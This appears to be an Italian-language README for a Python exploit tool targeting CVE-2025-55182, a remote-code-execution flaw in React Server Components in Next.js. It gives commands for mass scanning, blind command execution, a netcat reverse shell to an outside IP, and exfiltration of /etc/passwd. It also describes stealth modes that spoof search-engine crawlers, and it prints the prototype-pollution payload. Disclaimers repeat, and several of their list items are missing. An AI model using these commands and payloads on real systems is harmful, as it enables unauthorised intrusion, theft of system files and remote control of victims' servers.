
CVE-2025-55182 Tool di Exploit per l'Esecuzione Remota di Codice nei React Server Components
CVE-2025-55182 è una vulnerabilità critica di Remote Code Execution (RCE) nei React Server Components (RSC) che colpisce le applicazioni Next.js che utilizzano App Router con Server Actions.
La vulnerabilità risiede nel processo di deserializzazione del protocollo Flight, consentendo agli attaccanti di ottenere l'esecuzione di codice arbitrario tramite prototype pollution.
SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Qualsiasi uso illegale o non autorizzato di questo strumento è di esclusiva responsabilità dell'utente. L'autore non si assume alcuna responsabilità.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a fini educativi. In caso di violazioni o operazioni illegali, ogni conseguenza è a totale carico dell'utente; l'autore non è responsabile in alcun modo.
Si prega di leggere l'intero DISCLAIMER.md prima di utilizzare questo strumento.
Utilizzando questo strumento, accetti che:
| Component | Affected Versions |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| Mode | Description |
|---|---|
browser | Simula le richieste reali del browser (predefinita) |
crawler | Simula i crawler dei motori di ricerca (Googlebot, Baiduspider, ecc.) |
security | Utilizza User-Agents di scanner di sicurezza |
| Option | Description |
|---|---|
target | URL del target (ad es., http://localhost:3000) |
-f, --file | File contenente gli URL dei target (uno per riga) |
-o, --output | File di output per i target vulnerabili |
-c, --command | Comando da eseguire (cieco) |
--check | Verifica la presenza della vulnerabilità |
--proxy | Proxy SOCKS5 (ad es., socks5://127.0.0.1:1080) |
--stealth | Modalità stealth: browser, crawler, security |
--delay | Ritardo tra le richieste in secondi |
--variants | Usa più varianti di payload per un controllo approfondito |
--revshell IP PORT | Reverse shell verso IP:PORT |
--exfil CMD IP PORT | Esegue CMD e invia l'output a IP:PORT |
-t, --timeout | Timeout della richiesta in secondi (predefinito: 15) |
Lo sfruttamento si basa sulla prototype pollution nella deserializzazione del protocollo Flight:
Object.prototype.then tramite "$1:__proto__:then"_formData.get sul costruttore di Function tramite "$1:constructor:constructor"_prefix che viene passato a Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack e Next.jsQuesto progetto è distribuito sotto la licenza MIT - vedere il file LICENSE per i dettagli.
Scaricando, copiando, installando o utilizzando questo software, accetti di essere vincolato dai termini della presente dichiarazione.
Questo strumento è progettato esclusivamente per:
Non DEVI utilizzare questo strumento per:
QUESTO SOFTWARE È FORNITO "COSÌ COM'È" SENZA ALCUN TIPO DI GARANZIA, ESPRESSA O IMPLICITA. GLI AUTORI DECLINANO OGNI GARANZIA, INCLUSO, A TITOLO ESEMPLIFICATIVO:
IN NESSUN CASO GLI AUTORI SARANNO RITENUTI RESPONSABILI PER:
L'utente si assume piena responsabilità per:
Utilizzando questo strumento, riconosci che:
Scaricando, copiando, installando o utilizzando questo software, accetti di essere vincolato dai termini della presente dichiarazione di non responsabilità.
Questo strumento è destinato esclusivamente a:
Non devi utilizzare questo strumento per:
Questo software è fornito "così com'è", senza alcuna garanzia esplicita o implicita. Gli autori declinano ogni garanzia, inclusa, a titolo esemplificativo:
In nessun caso gli autori saranno ritenuti responsabili per:
L'utente si assume piena responsabilità per:
Utilizzando questo strumento, confermi che:
Prima di effettuare qualsiasi test di sicurezza, è necessario:
Prima di condurre qualsiasi test di sicurezza, è necessario:
⚠️ L'accesso non autorizzato a sistemi informatici è un reato ⚠️
⚠️ L'accesso non autorizzato al computer è un reato penale ⚠️